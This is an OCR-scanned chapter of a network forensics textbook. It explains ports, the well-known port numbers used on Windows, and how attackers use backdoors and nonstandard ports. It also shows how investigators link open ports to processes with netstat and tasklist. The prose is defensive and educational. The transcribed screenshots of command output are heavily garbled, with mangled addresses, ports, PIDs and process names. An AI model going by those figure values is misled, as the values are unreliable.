definitions of the word port be a source of confusion. In the case of network communication, a
port is simply a number that exists to help manage and track the various communications that
may exist to and from any given computer.
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FIGURE 5.1
The use of ports
in a network
communication
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In most cases, there will be four primary numbers used to identify a communication between
two computers. The first two numbers are the source Internet Protocol (IP) address and the des-
tination IP address. Most of you are probably already familiar with IP addresses; if not, please
consult a book on basic networking, such as Sams Teach Yourself Networking in 24 Hours by Uyless
D. Black (Sams, 2009). The IP addresses are usually sufficient to route a network communication
from one computer to another computer.

The second two numbers primarily used to identify a particular network connection are the
source and destination ports. Once a communication reaches the intended recipient computer,
that computer must figure out what to do with the communication. Is this communication an
incoming email message? Perhaps it is the reply to an earlier request for a website. It could be
an incoming instant message communication. The port numbers are used to help the receiving
computer know what type of communication is being sent to it and allow the computer to give
the incoming communication to the appropriate process for further action.

Figure 5.1 shows how the computer using IP address 172.17.48.239 uses ports to determine
how to handle two different incoming messages. The first message is addressed to the com-
puter’s IP address, on port 25. The computer has assigned port 25 to its Simple Mail Transfer
Protocol (SMTP) email server, so it sends the incoming message to the mail server process for
further handling (processing the incoming email). The second communication is also addressed
to the computer’s IP address, but this time port 80 is specified. This computer has assigned
port 80 to its web server for messages using the Hypertext Transfer Protocol (HTTP). Thus, the
incoming message is sent to the web server process for further processing. As you can see, while
IP addresses are used to direct the flow of a message as it travels toward its destination com-
puter, the port is used to further direct traffic within the destination computer.

Receiving Computer
Port 25

|Message to 172.17.48.239, Port 25 ! » Mail Server Process
Port 80

| Message to 172.17.48.239, Port 80 » \Web Server Process

172.17.48.239

The arrangement is somewhat analogous to addressing a letter with a company name and
address but providing a separate note on the envelope that says “Attention: Joe.” The post office
needs only the address to deliver the letter to the appropriate business, just as the network
needs only the IP address to route the communication to the correct computer. Once the let-
ter arrives at the business, someone will further sort the mail based on which internal person
is supposed to deal with the contents of the envelope. This is accomplished by noting that the
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envelope further indicates that its message is intended for Joe. When a computer receives a com-
munication, it will similarly look at the destination port to determine which internal process is
supposed to receive and handle this message, and it will use that information to direct the com-
munication to the appropriate process.

How does a computer know to which port to address a communication? Many ports are
defined by Internet standards as being used for a specific purpose or protocol. These are called
the well-known ports. Table 5.1 shows a sample of some of these commonly encountered ports
with which you may already be familiar; consider that this is in no way a comprehensive list of
the well-known ports.

TABLE 5.1: Commonly Used Ports
PORT PROTOCOL
20 File Transfer Protocol (FTP), Data
21 File Transfer Protocol (FTP), Control
22 Secure Shell (SSH)
23 Telnet
25 Simple Mail Transfer Protocol (SMTP)
53 Domain Name System (DNS)
80 Hypertext Transfer Protocol (HTTP)
110 Post Office Protocol (version 3) (POP3)
143 Interactive Mail Access Protocol (IMAP)
443 Secure Socket Layer (SSL)

WHICH PROTOCOL ARE YOU SPEAKING?

We mentioned that computers use both IP addresses and ports to direct acommunication. Another
factor must also be considered. There are different Transport layer protocols that use the concept
of ports. The two you are most likely to encounter are the User Datagram Protocol (UDP) and the
Transmission Control Protocol (TCP). A full explanation of these protocols and their role within
the Open Systems Interconnection (OSI) model is left to other books. Suffice it to say that both
UDP and TCP use ports. There are a total of 65,535 TCP ports and a total of 65,535 different UDP
ports. When someone tells you that a communication is headed for a particular port (say port
53), then you may also need to ask if that is TCP port 53 or UDP port 53.
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The protocols listed in Table 5.1 are not specific to Windows systems and are used in net-
works of any type. Again, a full primer on basic network theory is left for other books. For our
purposes, we will focus on ports that are commonly found in Windows networks that you may
not have encountered in other types of networks.

WELL-KNOWN PORTS

Although many ports are defined as being well known for use by a particular protocol for certain
types of communication, it is important to understand that there is no requirement to use these
ports for the defined purpose. For example, web servers will usually follow the standard that
web traffic (which uses HTTP) will utilize port 80. All browsers, when making a request for a web
page, will direct that request to the server on port 80 by default. Although an administrator can
use anonstandard port for a web server (say port 4321), she would have to notify all of her clients
to use that nonstandard port when making requests. Well-known ports are defined to facilitate
the interoperability of systems all around the globe, regardless of the operating systems in use
or other distinguishing factors.

Attackers will frequently use nonstandard ports to avoid detection. For example, if an attacker
has compromised a server within a company, he may want to use the Secure Shell protocol to
remotely control the victim machine. Secure Shell normally uses port 22 for its communications,
but let’s say that the victim company’s firewall blocks all attempts to communicate on port 22.
The attacker may instead configure his Secure Shell process to listen for traffic on port 80, which
this particular company’s firewall allows to enter the network. Attackers will frequently use
nonstandard ports to avoid security mechanisms or otherwise attempt to conceal the nature of
rogue communication channels.

For a port to be used to receive a network communication, the port must be associated with
some process. The process acts as a listener, waiting for connections to be made requesting some
service on its assigned port. On Linux/Unix systems, these listening processes are typically
referred to as daemons, drawn from the archaic sense of the word meaning a little helper imp
that can be summoned to do your bidding. When a particular daemon is associated with a spe-
cific port, the daemon is then said to be bound to that port, and the port is said to now be listening
for an inbound connection.

In Windows parlance, a process that listens for a connection to a specific port is typically
implemented as a service. If you will remember from Chapter 3, a service is any process that is
automatically started and that runs under a security context other than the currently logged-on
user. A service is typically initiated at boot time and can be bound to a specific port. Any con-
nection requests coming into that port are directed by the OS to the associated service. The ser-
vice can then process the communication and respond appropriately.

Simply put, when a computer wants to be able to receive communications from another com-
puter, it opens a port. That port is bound to some process, often a service, and the process then
listens for connections to its port. If a connection is made to the port, the process receives the
incoming communication, reads it, and performs the appropriate action.

An everyday example is a web server. To host a web server, the administrator would install
some web server software (typically IIS on Windows platforms). The web server has a listener
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process that is bound to the well-known port for HTTP, port 80. Whenever a client wants to
make a request of the web server, it will make a connection request to the web server’s IP
address, on port 80. The web server process will be given the request, process the request, and
provide the appropriate response.

PROCESS VS. SERVICE

As we mentioned in Chapter 3, “Beyond the Windows GUI,” a process is a collection of resources
(such as memory, system tables, instructions, and threads of execution) that the system needs
to perform some useful task. Every program runs in the context of some process.

A service is a special type of process. A service can run automatically, without a user having to
log on and start it. Services are configured by an administrator and usually start as soon as the
computer boots.

COMMON SCHEME

One of the more common examples of rogue servers that you will encounter is the phishing
scheme. As any email user knows, HTML-enabled email messages purporting to be from a bank
or similar institution often declare that the recipient must update his information or risk losing
his account. The email will contain a link purportedly to be used to go to the bank’s website in
order to update the recipient’s name, address, social security number, account number, mother’s
maiden name, shoe size, favorite shade of yellow, and ATM personal identification number (or
some similar set of insane requests). The link clearly cannot point to the bank’s real website, and
the attackers would be stupid to use one of their own servers for collecting all of this informa-
tion, so they compromise an unrelated system. Once they have a compromised box, they co-opt
its web server, install a site that mimics the appearance of the original bank’s site, and set up to
receive data from people who fall victim to the phishing email. The attackers can then collect
the information from the server at a later date or redirect the data to a different computer that
is almost always overseas.

To an attacker, an open port represents a potential vulnerability. Just as a burglar trying to
break into a house views every window and every door as a potential point of entry, so too will
an attacker view open ports. An open port means that there is some process on the computer
that is listening for communications to that port. This process is ready to receive requests, pro-
cess those requests, and provide some type of data in response. All the attacker needs to do is
to construct a request in such a way that it tricks the listening process into returning some type
of data that it was not designed to return. An open port represents an opportunity to find a vul-
nerability and to exploit that vulnerability to get control of the system or to extract otherwise-
protected data from it.

In addition to viewing ports as a way to break into a system, attackers view opening new
ports on a compromised system as a prime way of ensuring that they will maintain control
over the victim. While a burglar would be unlikely to create a secret backdoor into a residence
in order to have an easy way to repeat his crimes, a computer attacker will do so routinely.
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Attackers will frequently install backdoors that start a new process and bind it to a particular
port. When the attacker connects to that port in the future, the system will welcome him back
onto the box with open arms and administrator privileges.

Attackers also commonly use victim systems as a means of running their own rogue servers.
It is very common to find a compromised box being used as an FTP server, a web server, or a
mail server that the administrator did not install and of which she had no knowledge. Attackers
will break into systems, start previously unused services such as a mail server, and sell time
on that server to spammers. Sometimes they will install a rogue web server that mimics the
appearance of a bank or other financial site to be used in conjunction with phishing email
schemes. Other times, they will install an FTP or other file-sharing server and load illegal music,
video, or child pornography files onto a victim server to facilitate their illegal exchange. Adding
features to an otherwise legitimate website, such as redirecting users to a site that will attempt
to install malware, is also a very common mechanism for propagating malicious software.

Using Ports as Evidence

Since attackers have so many uses for ports, it becomes necessary for us as investigators to focus
on their evidentiary value. When we examine a compromised system, the ports that are active
on it can tell us a great deal of valuable information; however, in order to get the most out of this
information, we must have a baseline to which to compare. For example, we may locate a com-
petent system administrator who knows which ports were open on the box prior to the incident
under investigation. Alternatively, we may compare our target system to others that are report-
edly configured identically (such as may occur in a server farm when multiple machines are
placed into service simultaneously). We can also make some determinations based on backups
or historical log data. Regardless of the source of our comparison, it is important to realize that
any of these sources can prove unreliable to differing degrees, and all information should be
properly vetted.

One of the first clues that open ports can provide is a list of possible attack vectors against
the box. By finding out which ports were open on the box at the time of the attack, you can help
narrow your search for possible ways that the attacker used to gain control. If a system is not
listening for FTP requests, it would be difficult for an attacker to break in using an FTP exploit.
Conversely, if a system is using a service with a known vulnerability to listen for requests on a
particular port, that port would have made for an easy attack for the intruder and may represent
a likely point of entry to the system.

Another valuable use for port information is to help determine whether an attacker has
added any rogue services or backdoors to the system. As you saw in Chapter 3, rootkits can
make this determination difficult; however, rootkits are not always used, and even when they
are present, there are still ways to gather useful evidence. Here again, a competent system
administrator can be your best ally (assuming that she is not also your suspect). Spend some
time reviewing the currently open ports on the victim system with the administrator. She
should be able to tell you what each port is and why it is open. Any ports that she is not aware
of should raise a red flag. It is possible that the attacker opened this port for some malicious
purpose. It is also possible that the administrator had left the port open and not even realized it
(which means you may be out of luck on finding that competent system administrator).

To best understand the use of ports on a Windows system, we will demonstrate the concept
using the netstat command. This command displays information about the network ports in



USINGPORTSASEVIDENCE ‘ 143

use by a particular computer. netstat comes installed on all modern Windows systems. Run
with no switches, netstat will simply display a list of active connections on the local system. In
Figure 5.2, you see the results of running netstat on a computer that has an active HTTP con-
nection to www.exampTe.com.

FIGURE 5.2 = Command Prompt [_[O)|
IC:~\>netstat j
The output from fictive Connections
netstat run with Proto Local Address Foreign Address State
. ICP w2@B3sprer:16832 www.example.com=http ESTABLISHED
no switches
IC:s>
=l
PATCHES AND PORTS

From a system security standpoint, it isimportant that the administrator close any ports that are
not needed by the system. Many operating systems will install multiple services and turn them
on by default. A competent system administrator should review her systems and determine which
of those services are necessary and which are extraneous. She should then shut off any unneces-
sary services, thereby closing their associated ports. This process is referred to as hardening the
system, because it battens down the various hatches through which an intruder may attempt to
enter. As we mentioned in Chapter 1, “Network Investigation Overview,” as vulnerabilities are
discovered in various services, patches are released to correct those vulnerabilities. The system
administrator must ensure that all such patches are applied to all of her systems in a timely man-
ner to avoid having well-publicized vulnerabilities on her systems. This process can be difficult
and time consuming, and keeping up with vital systems alone can keep an administrator very
busy. If the administrator has not also shut down any unnecessary services, she is likely to forget
that they are even running and fail to apply current security patches. Unnecessary, forgotten, and
therefore unpatched services are some of the most frequent targets of attack. Identifying such
services can help you hone your search for the method used by the attacker to gain entry and may
help you locate what actions he took once on the system.

In this chapter, we will discuss the ways in which ports can tell you useful information and
provide insight into your investigation. We’ll also cover ways in which data about ports and
running processes can help identify compromised machines. We’ll cover the details of how
to gather this information in a manner that preserves its evidentiary value later. For now, let’s
focus on why you would want this information and save the suggestions on how to best collect
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that information for the next chapter. The examples in this chapter are designed to demonstrate
why this information is of use. They are not intended as examples of how to collect this data
from a target system in an investigation.

In Figure 5.2, you see that the information returned is broken out into four columns. The
first lists the Transport layer protocol being used. Remember earlier in the chapter we men-
tioned that there are both TCP and UDP ports on Windows systems? This is where you can tell
which protocol is being used. The next column, labeled Local Address, is a bit of a misnomer.
The column shows both the local computer’s IP address and its port number. As you can see
in Figure 5.2, when run with no switches netstat will perform name resolution where pos-
sible. The result is that instead of the IP address being displayed, you see the name of the sys-
tem involved in the communication. The port being used to track this communication by the
local computer is listed after the colon. The third column, Foreign Address, again shows the
IP address and port number being used by the remote end of the connection. Once again, you
see that the IP address has been converted into a friendly name (the fully qualified domain
name of the remote system in this case) using the DNS system to look up the name of the com-
puter using that IP address. The actual IP address is not displayed. You can also see that the
port number being used by the foreign host has been translated from its numeric format to
the friendly descriptor “http.” The last column shows the current state of the connection. This
entry will normally be one of the following;:

LISTENING The port is open and listening for inbound connections.
ESTABLISHED The connection is active between the two systems.
TIMED_WAIT The connection has recently ended.

Other entries are possible, such as the following:

SYN_SEND, SYN_RECEIVED Either of these may appear during the initial connection
setup.

FIN_WAIT_1, FIN_WAIT_2, CLOSE_WAIT, LAST_ACK Any of these may appear while
a connection is being closed.

Of these states, the ones of greatest importance to investigators are LISTENING,
ESTABLISHED, and TIMED_WAIT. The other states are generally very short in duration and
will not often be seen in netstat output. For more information on the meaning of these states,
consult RFC 793.

Let us now examine some more useful forms of the netstat command. While netstat’s
attempt at being user friendly may benefit some users, the name-resolution feature of this tool
actually obscures the results in some ways. For example, the output in Figure 5.2 shows that the
connection was made to the HTTP port of the www.example.com server. In truth, the netstat
command only knows that the connection was made to TCP port 80. The local computer main-
tains an internal list of friendly names for those ports. This list is located in a text file called
services located in the %SystemRoot%\System32\drivers\etc\ directory. By simply modify-
ing this text file, you can make netstat output any friendly name that you want for any port.
Figure 5.3 shows the results of netstat after modifying the services file to list the name of
TCP port 80 as “yeehaw.” This is clearly not necessarily the best way to run netstat to obtain
clear and accurate information.



FIGURE 5.3 = Command Prompt
The netstat com- C:\netstat >
mand run with no Active Connections

switches relies on

Proto Local Address Foreign Address State
. TCP w2B883zrur:16034 wue_exanple..com:=yeehaw ESTABLISHED
the servicesfile to
. . . (R
indicate which ser-
vice is being used
rather than print-

ing the actual port
number.

The -n switch tells netstat to show all results in numeric format. This displays IP addresses
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and ports as numbers rather than trying to convert them to some type of name. This tends to
give a clearer picture as to exactly what is happening on the system and eliminates any confu-

sion that name resolution may induce. In Figure 5.4, you see the netstat command run with the

-n switch.
FIGURE 5.4 [~ Command Prompt ________________|WES
The netstat -n C:netstat —n =
command output fctive Connections B

Prote Local Address
TCP 192.168.66.7:10836

Gin>o

Foreign Address
192 .168.66.5:808

State
ESTABLISHED

[

You can see that the output in Figure 5.4 provides a clearer picture of exactly which comput-
ers are communicating and which ports are involved in the communication. There is another
switch that you can use to provide more valuable information. The -a switch will list all TCP

and UDP connection information, including information about not only active connections but
also ports that are currently open on the system. The -a switch can be combined with the -n
switch, as shown in Figure 5.5.

You can see in Figure 5.5 that we now have a wealth of useful information about the ports on
this system. In the Local Address column, you can see all TCP and UDP ports that are currently
listening on the system as indicated by the LISTENING entry in the corresponding State col-
umn. You can see also that there is one active connection involving this system, as indicated by
the ESTABLISHED entry in the State column.
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FIGURE 5.5 = Command Prompt =] E3
The netstat -an Active Connections j
comma‘nd OUtPUt Proto Local Address Foreign Address State J

IGP A.A.9.0:80 a.a H LISTENING

ICP a. a.a LISTENING

ICP a. a.a LISTENING

T1CP a. a.a LISTENING

TCP a. a.a LISTENING

IGP a. a.a LISTENING

IGP a. a.a LISTENING

ICP a a.a H LISTENING

ICP 1 a.a =8 LISTENING

TCP 1 192 .168.66.5:808 ESTABLISHED

upp a. I

upp a. =1

upp a. =13

upe a. *z

upp a. ik

upp 1272 I

upp 127 Bt

upe 192.168.66.7:67 B

upe 192.168.66.7:68 *zx

upp 192168 .66.7:123 I

upe 192 _168.66.7:137 ik

upnp 192.168.66.7:138 I

upr 192.168.66.7:2535 i

ICoxD> _I

Let us focus on the Local Address column. You can see that the format is IP address:port
number for each entry. All of the IP addresses represent the local system, but you will note that
there are three different IP addresses listed, namely 0.0.0.0,127.0.0.1, and 192.168.66.7.
The computer in question (a Windows Server 2003 system) has only one network interface card
(NIC), and it is assigned IP address 192.168.66.7. What then do those other IP addresses
tell us?

A port can be opened in different ways. For example, if a computer has multiple NICs, each
NIC can be assigned a different IP address. This can be done for a multitude of reasons includ-
ing fault tolerance, load balancing, and running multiple virtual websites from one system. A
port can be opened on one of the system’s IP addresses, on some of the system’s IP addresses,
or on all of the system’s IP addresses. If a port is opened on a specific IP address, netstat will
list that IP address specifically in the Local Address column (such as the entries in Figure 5.5
showing the 192.168.66.7 address). If the port is open on all IP addresses that the box is cur-
rently using or that may get added in the future, then netstat will list the IP address 0.0.0.0
to indicate that all of the system’s IP addresses can receive connections to the port. Finally, every
system has a loopback address that is used to communicate with itself (to run both a client and
a server product on the same system). Windows uses the IP address 127.0.0.1 to designate the
loopback address, so entries with this IP address in the Local Address column are listening for
connection requests from another process running on the local system.

One further switch that is of use was introduced in Windows XP. The -o switch shows
the process identifier (PID) of the process that is bound to a listening port or that is using an
established connection. This can be extremely useful in determining why a particular port is
open. Figure 5.6 shows netstat being run with the -o switch in conjunction with the -a and -n
switches.

Figure 5.6 shows you the correlation between each open port and the process that is using
that port. This information can help you determine if the port is being used for a known, legiti-
mate purpose or if an attacker has maliciously opened the port. By examining each process that
is using a port, you can eliminate those that are benign and focus on those that may be mali-
cious. We will cover processes in more detail in the next section as well as discuss ways to tie
the PID to the name of its associated process.
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FIGURE 5.6 == Command Prompt [=] E3
The netstat -ano C:\onetstat —ano B
fictive Connections

command output

Proto Local Address Foreign Address State PID

TCP a.a8 a:88 a. LISTENING 1528

TCP a. B:135 8. LISTENING 688

TCP a. B:445 a. 8 LISTENING 4

TCP A.8.8.A:1825 a. ) LISTENING 512

TGP 0.0.0.8:1826 8.8, H ] LISTENING 228

TGP a.8.0.8:1827 8.8, H ] LISTENING 1148

TCP A.0.0.8:182% 8.8. H ] LISTENING 1436

TCP 0.0.0.8:5613 0.8.0.68:8 LISTENING 1528

TCP 192. . A.8.0.68:8 LISTENING 4

TCP 192. 192.168.66.5:84 ESTABLISHED 1836

upp a.a a I 4

upp a. -1 512

upp a. % 892

upp a. ik 928

upp a.a I 512

upp 127 I 228

upp 127 i 1836

upp 192 % 1436

upp 192 *I 1436

upp 192 I 928

upnp 192 I 4

upp 192 i 4

upp 192 i 1436

(T8 =l

@ Real World Scenario

FALSE SENSE OF SECURITY

We were conducting an investigation of a network intrusion. During a conversation with the net-
work administrator, we suggested the possibility that a rootkit might be installed on one of his
systems. He immediately dismissed the possibility because he had “examined all the open and
active ports and processes, and nothing there was unusual.” Keep in mind that the techniques
mentioned in this chapter are designed to teach you the concepts of ports and processes. Tools such
ashetstatand tasklistare notused to defeat the evils of rootkits, as were described in Chapter
3. We had to explain to the administrator the fact that his User Mode tools could easy be tricked
into hiding open ports and running processes by a Kernel Mode rootkit and that his confidence in
his methods of detecting rootkits was a bit unfounded. Many network administrators know just
enough to make them dangerous. It is important that you ascertain the facts of the situation and
make your own informed decisions when it comes to conducting your investigation. In this case,
the victim organization was completely owned by an attacker while the administrator remained
blissfully ignorant to the problem.

Although common ports such as TCP port 80 (the well-known HTTP port) are found on sys-
tems of all types, there are many ports frequently encountered on Windows systems with which
you may not be familiar. Table 5.2 and Table 5.3 list some of these ports. You can use these as an
initial triage guide when trying to identify which ports on a system are most likely to be suspi-
cious and which are most likely open as the result of normal system activity. It is important to
understand that any port can be used for a malicious purpose, so don’t completely dismiss a
port as acceptable just because it appears on this list. Each situation is unique, and each will call
for you to make an informed investigative decision.
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TABLE 5.2: User Datagram Protocol Ports
PORT PROTOCOL
67 Dynamic Host Configuration Protocol (DHCP)
68 DHCP
123 Network Time Protocol
137 NetBIOS over TCP (NBT) Name Service
138 NBT Datagram Service
445 SMB over TCP
500 Internet Security Association and Key Management Protocol
1434 SQL Server
1900 Universal Plug and Play
4500 NAT Traversal protocol
TABLE 5.3: Transmission Control Protocol Ports
PORT PROTOCOL
88 Kerberos
135 RPC Endpoint Mapper
139 NBT Session Service
389 Lightweight Directory Access Protocol
445 SMB over TCP
464 Kerberos Password
593 RPCover HTTP
636 Secure LDAP
1433 SQL Server
3268 Microsoft Global Catalog
3269 Secure Global Catalog

3389 Remote Desktop Protocol
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Understanding Windows Services

Although many processes are capable of opening a port, the regular practice in the Windows world
is to use a service to bind to a port. The reason for this is the reliability of a service. Services are
monitored and managed by the operating system itself. Services can automatically be started when-
ever the system boots, they can be monitored to ensure that they are still running, and they can be
restarted automatically in the event of a problem. Since most open ports are used to listen for client
requests, these added management and reliability features of services are generally desirable.

SERVICE CONTROL PROGRAMS AND THE SERVICE CONTROL MANAGER

Management and control of services are a little more involved than we are going to get into in
this book. The Service Control Manager actually handles the management of each service on the
system. Services can also be manually controlled by interacting with a Service Control program.
Although these details are usually interesting to system administrators, they do not factor a
great deal into the needs of investigators. For this reason, we will continue to refer generically to
the OS handling the management of services and leave the details to others. For those who want
to dig further into the nature of services, we strongly recommend Windows Internals: Covering
Windows Server 2008 and Windows Vista, Fifth edition, by Mark E. Russinovich and David A.
Solomon with Alex lonescu (Microsoft Press, 2009).

The task1ist command shows all processes that are currently running on a Windows sys-
tem. Since services are simply processes that are managed by the OS and that run under some
assigned security context, they can be seen in the task1list output as well. Task1ist is built in
to Windows XP and later versions of Windows. Run without switches, task11ist will show all
processes currently running on the local system, as shown in Figure 5.7.

FIGURE 5.7 & Command Prompt _[O]x
The tasklist com- C:\>tasklist =
mand output Image Name PID Session Name Sessiondt Hem Usage
System Idle Process B GConsole a 16 K ||
System 4 Gonsole a 216 K
EMSE .exe 388 Console a 480 K
CEPrES _exe 428 Console a 3.560 K
winlogon.exe 452 Console a 4,516 K
services.exe 496 Console a 4.564 K
lsass.exe 5088 Console a 21.608 K
svchost.exe 664 Gonsole a 2,680 K
svchost.exe 744 Console a 3.684 K
isuchost .exe 908 Console a 3.708 K
isuchost .exe 928 Console a 2,836 K
isuchost.exe 248 Console a 14.312 K
ispoolsv.exe 1232 Gonsole a 6.592 K
msdtc .exe 1264 Console a 3.776 K
df ssuc .exe 1336 Console a 3.7680 K
isuchost .exe 1368 Console a L636 K
inetinfo.exe 1452 Console a 2352 K
ismserv.exe 1468 Console a 3.3506 K
ntfrs.exe 1484 Gonsole a ?72 K
suchost.exe 1596 Console a 1.268 K
UMuareService .exe 1628 Console a 2,524 K
tcpsucs.exe 1676 Console a 8,548 K
isuchost.exe 1728 Console a 5.588 K
wnipruse.exe 916 Console a 4,364 K
explorer.exe 2144 Gonsole a 11.488 K
UMuareTray.exe 2228 Console a 2,164 X
UMuarellser.exe 2236 Console a 2,288 K
wuauc 1t .exe 2336 Console a 3.228 K
icnd . exe 1184 Console a 1.196 K
tasklist.exe 2848 Gonsole a 3.832 K
wnipruse.exe 2476 Console a 4,488 K
(=R _l
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The primary columns of interest to us at this point are the Image Name field (the name of
the executable that launched the process) and the PID field. We can use this information to
provide a correlation between our output from netstat -ano (which lists the PID that is using
each port) and the name of the application associated with each PID. Let’s look at an example.
Figure 5.8 shows a netstat -ano output from a Windows system.

You can see that there is some process listening on port 31337 (as indicated by the
LISTENING state). Furthermore, by looking at the PID field in Figure 5.8, you know that the pro-
cess identifier for that process is 580. After discussing this with the administrator (or after work-
ing an intrusion case or two and realizing the fondness elite hackers have for the number 31337),
you are suspicious of this port and would like to know more about the process that is using it.
You can now run the task1list command to find out the name of the application that started the
process. Figure 5.9 shows the task1ist output.

FIGURE 5.8 Command Prompt JHI=] 3 |
Note the open IC:~\>netstat —ano —
porton 31337 fictive Connections
and its aSSOCIated Proto Local Address Foreign Address State PID
ICP 0.0.8.8:88 6.68.8.8:8 LISTENING 1528
process ID. ICP  0.0.8. 2.8 :@ LISTENING 588
T1CP a.8.8. a.a 5] LISTENING 4
TCP a.8.8. a.a. H LISTENING 512
ICP a.8.8. a.a. B LISTENING 9228
ICP a.0.8 a.a. H] LISTENING 1148
ICP a.8.8. a.a. B LISTENING 1436
ICP a.0.8. a.a. B LISTENING 1528
TCP a.8.8. a.a. B LISTENING 588
TCP 192.1 a.a. Hl LISTENING 4
upe a.0.8 I 4
upe a.0.8 512
upp a.8.8. 892
upp a.0.8. 228
upp a.8.8. 512
upp 127.8. 9228
upe 192.168 1436
upe 192.168 2 1436
upp 192168 % 928
upp 192168 EEhd 4
upp 192.168.66. I 4
upe 192.168.66. *ix 1436
Can> _I
FIGURE 5.9 : Pro 3
Note the name of C:\>tasklist [~
PID 580 Image Mame PID Session Mame Sessionit Mem Usage
System Idle Process 8 Conszole a 16 X L
System 4 Console a 216 K
SMSS .exe 288 Console a 488 K
CSESS.eXe 432 Console a 3.836 K
winlogon.exe 456 Console a 4,384 K
services.exe 5088 Console a 2,980 K
lsass.exe 512 Console a 8,252 K
suchost .exe 688 Console a 2,57 K
suchost.exe 7?36 Console a 3.688 K
svchost.exe 892 Gonsole a 3.624 K
svchost.exe 908 Console a 1.756 K
swchost .exe 928 Console a 14.312 K
z=poolsu.exe 1116 Console a 4,788 K
nsdtc.exe 1148 Console a -816 K
svchost.exe 1268 Console a 1.632 K
inetinfo.exe 1316 Gonsole a 8.852 K
suchost.exe 1344 Console a 1.216 K
UMuareService .exe 1388 Conszole a 1.484 K
tcpsucs.exe 1436 Console a 7.468 K
suchost.exe 1528 Console a 5.892 K
df ssvc .exe 1664 Gonsole a 3.8680 K
explorer.exe 1984 Gonsole a 3.392 K
UMuareTray.exe 2824 Console a 2,148 X
UMuvarellser.exe 2032 Console a 2,808 K
wuauc 1t .exe 412 Console a 3.608 K
umipruse.exe 824 Console a 4,256 K
cnd. exe 1872 Gonsole a 64 K
cnd . exe 384 Console a 1,240 K
zZ.exe 588 Console a 48 K
tasklist.exe 1188 Console a 3.864 K
unipruse.exe 248 Console a .536 K
G:vre =l
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In Figure 5.8 you saw that the process listening to port 31337 was assigned PID 580. Near the
bottom of the output in Figure 5.9, you can see that the name of the program using PID 580 is
z.exe. Now that doesn’t sound like any standard Windows component. You would definitely
want to dig further into this program and pull a copy of it for tool analysis to see exactly what it
does (as discussed in Chapter 10, “Introduction to Malware”).

There are many other useful pieces of information that you can get from the task1ist com-
mand. For example, if you run the command with the /v switch, you get verbose output. In ver-
bose mode, taskl1ist tells you information about the security context under which a process is
running. Figure 5.10 shows the verbose output of the tasklist command.

FIGURE 5.10 & Command Prompt
l ]
c:n>tasklist A
The verbose mode [GenIvasklist s
. [lnage Hane PID Session Hame Sessiont  Hem Usage Status User Nane
outputof taskTist  |............ CPU Tine Window Title
lsystem Ldle EL.LQ‘F; s-; @ Concole [ 16 K Unknown  NT AUTHORITYNSYSTEM
) G:iB:21 NsA
Egystam 4 Console L] 216 K Unknown NT AUTHORITY~SYSTEM
| B:00:10 NA
smas . oxe oeomean 1m 208 Comsole ] 488 X Unknown NT AUTHORITY“SYSTEN
[ 100:00 N
—— oeonets n 22 Comeole [ 3,748 K Running NT AUTHORTTYSSYSTEN
| H:tH |71
fuinlagen.exe oromrar nm " Coneole [ 4,384 K Unknoun NT AUTHORITY“SYSTEN
H H |1
lservices.exe o00rar w08 Consele ] 2,988 K Unknoun NI AUTHORITY“SYSTEN
| 1] 81 NA
[1sass.exe 512 Console [ 8.252 K Unknoun NI AUTHORITY-SYSTEN
| @:80:80 NA
leuchost . exe 688 Console [ 2.526 K Unknown NT AUTHORITYNSYSTEM
| B:80:88 NA
Esu:lmst.nxn 736 Console a 3,652 K Unknown NI AUTHORITY~SYSTEM
| 8:80:00 N/A
lsvehost . oxe aronsan i *T SO0l ] 3.624 K Unknown NT AUTHORITYMETUORK SERUICE
[ :80:00 N
evehost . oxe R [ 1,756 K Unknoun NT AUTHORITYSLOCAL SERUICE
| 1BB:BA N
leuchost .exe orooraz o (28 Coneole [ 14,148 K Unknoun NT AUTHORITY“SYSTEN
| LB@: 1
epoolsy.exe RS TE N ] 4,788 K Unknoun NT AUTHORITYNSYSTEN
[ cp0: 1
fnsdtc .exe 0-00-00 npt 118 Console ] 4,816 K Unknowun NT AUTHORITYMETUORK SERUICE
| K H HsA
lsuchost .exe 1268 Console a 1.632 K Unknown NT AUTHORITY~SYSTEH
| B:BA:00 MR =

In Figure 5.10, you can see that all of the processes that are visible are running as either the
Local System account or as one of two service accounts: Local Service or Network Service. Since
these processes are running not in the context of an interactively logged-on user but instead
as system or service accounts, it is a good bet that they are services. To have taskl1ist indicate
which of the running process are services, use the /svc switch, as shown in Figure 5.11.

HACKER SPEAK

You may see numbers such as 31337 being used by attackers. For multiple reasons (defeating
content filters, obscuring references, and the plain-old geek factor), attackers will often substi-
tute numbers for letters: 3 for E, zero for the letter O, 1 for L, 7 for T, and so on. Therefore, 31337
equates to eleet (or elite) and is often used by attackers to demonstrate their elite skill level. In
truth, this technique has largely fallen into the realm of script kiddies, with clever attackers
avoiding such frivolity because of its tendency to draw attention to their attacks.

In Figure 5.11, you can see that we still have the Image Name and PID fields, as you saw in
Figure 5.7, however, we also now have the Services column. Remember from the earlier discus-
sion that services are processes that are managed by the OS and that run in a security context
other than that of the logged-on user account. When a process is configured to run as a service,
the process is registered with the OS and given a security context in which it will run. The
/SVC switch of task1ist shows in the Services column the name given to each service that is
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FIGURE 5.11 ¢ Command Prompt M =] E3
The /SVC switch iC:~>tasklist ~ssve =
being used with Image MName PID Services
the tasklist System Idle Process 8 N-A

System 4 N-A |
command lsmss .exe 288 N-A

cspss.exe 432 N-A

winlogon.exe 456 H-/A

iservices.exe 588 Eventlog. PlugPlay

lsass .exe 512 gTTgFilter, PolicyAgent,. ProtectedStorage.

anss

suchost.exe 688 RpcBs

isuchost .exe 736 TermService

isuchost.exe 892 Dhcp. Dnscache

suchost.exe 988 LmHosts

isuchost.exe 228 AudioSrv, Browser,. CryptSvc,. dmserver,
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currently running on the system. Note that some processes have more than one registered ser-
vice listed in the Services column. This is because a single process can be used to accomplish
multiple functions. In Chapter 3, we discussed that a process is a set of components that are
needed for the computer to perform work, such as memory space and at least one thread of
execution. The process is not limited to performing only one function, and a single process can
perform the function of multiple services, as long as the services all run under the same security
context.

EventSystem, helpsvc, lanmanserver,
lanmanworkstation, Hetman. Nla. Schedule.
zeclogon, SEWS, 2hellHWDetection, TrkWks.
U32Time. winmgmt, wuauserw. WEZCSUC

ispoolsv.exe 1116 Spooler
msdtc.exe 1148 MSDIC
suchost.exe 1268 ERSuc
inetinfo.exe 1316 IISADMIN
zuchost .exe 1344 RemoteRegistry
UMuareService .exe 1388 UMware Tools Service
tcpsves.exe 1436 DHCPServer
suchost.exe 1528 W3suc
dfssve.exe 1664 Dfs
